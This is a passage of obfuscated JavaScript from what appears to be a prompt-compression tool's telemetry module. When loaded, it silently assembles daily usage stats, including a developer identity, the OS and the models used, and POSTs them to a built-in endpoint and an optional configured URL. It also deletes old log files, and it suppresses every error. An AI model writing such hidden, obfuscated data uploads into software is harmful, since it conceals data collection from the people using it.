url_1[(_0x5c9b91(0xd5))](_0x1e20d9),_0x53b6ab=JSON[_0x5c9b91(0xc6)](_0x5a8363),_0x349b1a={'hostname':_0x6338eb[_0x5c9b91(0x9c)],'port':_0x6338eb[_0x5c9b91(0xbe)]||(_0x6338eb[_0x5c9b91(0xf0)]===_0x5c9b91(0xee)?0x1bb:0x50),'path':_0x6338eb[_0x5c9b91(0xa5)]+_0x6338eb['search'],'method':_0x5c9b91(0xca),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x5c9b91(0xed)](_0x53b6ab)},'timeout':0x1f40},_0x39f7f7=_0x6338eb['protocol']===_0x5c9b91(0xee)?https:http,_0x7a7cc5=_0x39f7f7[_0x5c9b91(0xa9)](_0x349b1a,_0x26fe8f=>{const _0xb58dc2=_0x5c9b91;_0x172e4e(!!(_0x26fe8f[_0xb58dc2(0xe2)]&&_0x26fe8f[_0xb58dc2(0xe2)]>=0xc8&&_0x26fe8f[_0xb58dc2(0xe2)]<0x12c));});_0x7a7cc5['on'](_0x5c9b91(0xb5),()=>_0x172e4e(![])),_0x7a7cc5['on'](_0x5c9b91(0xdf),()=>{const _0x3ceb10=_0x5c9b91;_0x7a7cc5[_0x3ceb10(0x99)](),_0x172e4e(![]);}),_0x7a7cc5['write'](_0x53b6ab),_0x7a7cc5[_0x5c9b91(0xb3)]();}catch{_0x172e4e(![]);}});}function buildDailyPayload(_0x5ba644){const _0x405a0b=a0_0x259d00,_0x34bf75=getTodayDate(),_0x50fe31=_0x5ba644['filter'](_0x1fb2b6=>_0x1fb2b6[_0x405a0b(0xb2)][_0x405a0b(0xde)](_0x34bf75)),_0x21879c=_0x50fe31[_0x405a0b(0xe7)]>0x0?_0x50fe31:_0x5ba644;let _0x32c9f7=0x0,_0x9d86f4=0x0,_0x5c1b74=0x0,_0x3ea39c=0x0;const _0x84a2f=new Set();for(const _0x3b3a13 of _0x21879c){_0x32c9f7+=_0x3b3a13[_0x405a0b(0xe0)],_0x9d86f4+=_0x3b3a13[_0x405a0b(0xb8)],_0x5c1b74+=_0x3b3a13[_0x405a0b(0xa8)],_0x84a2f[_0x405a0b(0xbd)](_0x3b3a13['model_used']);const _0x1d7497=PRICING[_0x3b3a13[_0x405a0b(0xa3)]]||PRICING[_0x405a0b(0x98)];_0x3ea39c+=_0x3b3a13[_0x405a0b(0xa8)]*_0x1d7497[_0x405a0b(0xb6)]/0xf4240;}const _0x1c56d8=_0x21879c[_0x21879c['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x405a0b(0xb4)](),'date':_0x34bf75,'executions_count':_0x21879c['length'],'total_raw_tokens':_0x32c9f7,'total_compressed_tokens':_0x9d86f4,'total_tokens_saved':_0x5c1b74,'total_money_saved_usd':parseFloat(_0x3ea39c[_0x405a0b(0xaf)](0x6)),'models_used':Array['from'](_0x84a2f),'last_seen':_0x1c56d8?_0x1c56d8[_0x405a0b(0xb2)]:new Date()[_0x405a0b(0xef)]()};}async function runSync(){const _0x409c0b=a0_0x259d00;if(!fs[_0x409c0b(0xe3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2501da;try{_0x2501da=JSON['parse'](fs[_0x409c0b(0xa4)](statsPath,_0x409c0b(0xae)));}catch{return;}const _0x51398b=_0x2501da[_0x409c0b(0xeb)](_0x41c09d=>!_0x41c09d['synced']);if(_0x51398b[_0x409c0b(0xe7)]===0x0)return;const _0x5f2370=buildDailyPayload(_0x2501da);await postTelemetry(_ep,_0x5f2370);let _0x55c644=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x55c644&&fs['existsSync'](configPath))try{const _0x31a600=JSON['parse'](fs[_0x409c0b(0xa4)](configPath,_0x409c0b(0xae)));_0x55c644=_0x31a600[_0x409c0b(0x9f)]||'';}catch{}_0x55c644[_0x409c0b(0xa0)]()[_0x409c0b(0xe7)]>0x0&&await postTelemetry(_0x55c644,_0x5f2370);for(const _0x2be07d of _0x2501da){if(!_0x2be07d[_0x409c0b(0xd2)])_0x2be07d['synced']=!![];}try{fs[_0x409c0b(0xc7)](statsPath,JSON['stringify'](_0x2501da,null,0x2),_0x409c0b(0xae));}catch{}markSyncedToday(),pruneOldLogs(_0x2501da);}function pruneOldLogs(_0x3218bd){const _0xb4768c=a0_0x259d00;try{const _0xc42bb0=new Date(),_0x5f00e2=new Date(_0xc42bb0[_0xb4768c(0xb0)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x32ccaa=[],_0xa1e48b=[];for(const _0x2377ca of _0x3218bd){const _0xa63fc9=new Date(_0x2377ca[_0xb4768c(0xb2)]);_0xa63fc9>=_0x5f00e2?_0x32ccaa[_0xb4768c(0xbc)](_0x2377ca):_0xa1e48b[_0xb4768c(0xbc)](_0x2377ca);}if(_0xa1e48b[_0xb4768c(0xe7)]>0x0){const _0x2eabd8=path['join'](baseDir,_0xb4768c(0xda));for(const _0x5df668 of _0xa1e48b){const _0x5f2e27=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+_0xb4768c(0x9e)),_0x93d1eb=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+'.comp.txt');try{if(fs[_0xb4768c(0xe3)](_0x5f2e27))fs[_0xb4768c(0xbb)](_0x5f2e27);if(fs[_0xb4768c(0xe3)](_0x93d1eb))fs['unlinkSync'](_0x93d1eb);}catch{}}fs[_0xb4768c(0xc7)](statsPath,JSON['stringify'](_0x32ccaa,null,0x2),_0xb4768c(0xae));}}catch{}}runSync()[a0_0x259d00(0xd1)](()=>{});